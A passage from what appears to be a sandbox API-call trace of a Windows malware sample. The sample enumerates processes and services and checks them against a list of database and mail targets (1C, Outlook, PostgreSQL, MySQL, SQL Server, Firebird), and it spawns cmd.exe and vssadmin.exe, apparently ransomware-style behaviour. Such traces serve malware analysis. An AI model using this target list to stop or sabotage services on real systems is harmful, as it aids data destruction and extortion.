[0200.181] lstrlenW (lpString="wininit.exe") returned 11 [0200.181] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.182] lstrlenW (lpString="csrss.exe") returned 9 [0200.182] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.182] lstrlenW (lpString="winlogon.exe") returned 12 [0200.182] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.183] lstrlenW (lpString="services.exe") returned 12 [0200.183] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.183] lstrlenW (lpString="lsass.exe") returned 9 [0200.183] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.184] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.184] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.184] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.185] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.185] lstrlenW (lpString="svchost.exe") returned 11 [0200.185] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.186] lstrlenW (lpString="svchost.exe") returned 11 [0200.186] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.186] lstrlenW (lpString="dwm.exe") returned 7 [0200.186] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.187] lstrlenW (lpString="svchost.exe") returned 11 [0200.187] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.187] lstrlenW (lpString="svchost.exe") returned 11 [0200.187] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.188] lstrlenW (lpString="svchost.exe") returned 11 [0200.188] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.189] lstrlenW (lpString="svchost.exe") returned 11 [0200.189] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.189] lstrlenW (lpString="svchost.exe") returned 11 [0200.189] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.190] lstrlenW (lpString="svchost.exe") returned 11 [0200.190] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.191] lstrlenW (lpString="svchost.exe") returned 11 [0200.191] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.191] lstrlenW (lpString="svchost.exe") returned 11 [0200.191] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.192] lstrlenW (lpString="svchost.exe") returned 11 [0200.192] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.192] lstrlenW (lpString="svchost.exe") returned 11 [0200.192] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.193] lstrlenW (lpString="spoolsv.exe") returned 11 [0200.193] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.193] lstrlenW (lpString="svchost.exe") returned 11 [0200.193] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.194] lstrlenW (lpString="audiodg.exe") returned 11 [0200.194] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0200.195] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0200.195] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0200.195] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0200.195] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0200.196] lstrlenW (lpString="Memory Compression") returned 18 [0200.196] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0200.196] lstrlenW (lpString="sihost.exe") returned 10 [0200.196] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.197] lstrlenW (lpString="svchost.exe") returned 11 [0200.197] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0200.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0200.197] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0200.197] lstrlenW (lpString="taskhostw.exe") returned 13 [0200.197] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0200.198] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0200.198] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0200.199] lstrlenW (lpString="msoia.exe") returned 9 [0200.199] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0200.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0200.199] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0200.199] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0200.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0200.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0200.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0200.199] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.199] lstrlenW (lpString="explorer.exe") returned 12 [0200.199] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0200.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0200.200] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0200.200] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0200.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0200.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0200.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0200.200] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0200.200] lstrlenW (lpString="SearchUI.exe") returned 12 [0200.200] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0200.200] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0200.200] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0200.201] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0200.201] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0200.201] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0200.201] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0200.202] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0200.202] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.202] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.202] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.202] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0200.432] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0200.432] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.432] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.432] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.432] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.432] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0200.433] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0200.433] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0200.433] lstrcmpiW (lpString1="1c8.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="1cv77.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="outlook.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="postgres.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="mysqld.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WindowsSystem32file.pe32.exe") returned -1 [0200.433] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.434] lstrlenW (lpString="cmd.exe") returned 7 [0200.434] lstrcmpiW (lpString1="1c8.exe", lpString2="cmd.exe") returned -1 [0200.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="cmd.exe") returned -1 [0200.434] lstrcmpiW (lpString1="outlook.exe", lpString2="cmd.exe") returned 1 [0200.434] lstrcmpiW (lpString1="postgres.exe", lpString2="cmd.exe") returned 1 [0200.434] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="cmd.exe") returned 1 [0200.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="cmd.exe") returned 1 [0200.434] lstrcmpiW (lpString1="sqlservr.exe", lpString2="cmd.exe") returned 1 [0200.434] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.435] lstrlenW (lpString="conhost.exe") returned 11 [0200.435] lstrcmpiW (lpString1="1c8.exe", lpString2="conhost.exe") returned -1 [0200.435] lstrcmpiW (lpString1="1cv77.exe", lpString2="conhost.exe") returned -1 [0200.435] lstrcmpiW (lpString1="outlook.exe", lpString2="conhost.exe") returned 1 [0200.435] lstrcmpiW (lpString1="postgres.exe", lpString2="conhost.exe") returned 1 [0200.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="conhost.exe") returned 1 [0200.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="conhost.exe") returned 1 [0200.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="conhost.exe") returned 1 [0200.435] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0200.435] lstrlenW (lpString="consent.exe") returned 11 [0200.435] lstrcmpiW (lpString1="1c8.exe", lpString2="consent.exe") returned -1 [0200.435] lstrcmpiW (lpString1="1cv77.exe", lpString2="consent.exe") returned -1 [0200.435] lstrcmpiW (lpString1="outlook.exe", lpString2="consent.exe") returned 1 [0200.435] lstrcmpiW (lpString1="postgres.exe", lpString2="consent.exe") returned 1 [0200.435] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="consent.exe") returned 1 [0200.435] lstrcmpiW (lpString1="mysqld.exe", lpString2="consent.exe") returned 1 [0200.435] lstrcmpiW (lpString1="sqlservr.exe", lpString2="consent.exe") returned 1 [0200.436] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0200.436] lstrlenW (lpString="vssadmin.exe") returned 12 [0200.436] lstrcmpiW (lpString1="1c8.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="outlook.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="postgres.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="mysqld.exe", lpString2="vssadmin.exe") returned -1 [0200.436] lstrcmpiW (lpString1="sqlservr.exe", lpString2="vssadmin.exe") returned -1 [0200.436] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.437] lstrlenW (lpString="dllhost.exe") returned 11 [0200.437] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0200.437] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0200.437] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0200.437] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0200.437] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0200.437] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0200.437] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0200.437] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0200.437] CloseHandle (hObject=0x3f8) returned 1 [0200.437] Sleep (dwMilliseconds=0x1f4) [0201.238] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b2b0 [0201.378] EnumServicesStatusExW (in: hSCManager=0x447b2b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0201.380] GetLastError () returned 0xea [0201.380] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x54d0068 [0201.380] EnumServicesStatusExW (in: hSCManager=0x447b2b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54d0068, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54d0068, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0201.381] CloseServiceHandle (hSCObject=0x447b2b0) returned 1 [0201.382] lstrlenW (lpString="Appinfo") returned 7 [0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0201.383] lstrlenW (lpString="AppXSvc") returned 7 [0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0201.383] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0201.383] lstrlenW (lpString="Audiosrv") returned 8 [0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0201.383] lstrcmpiW 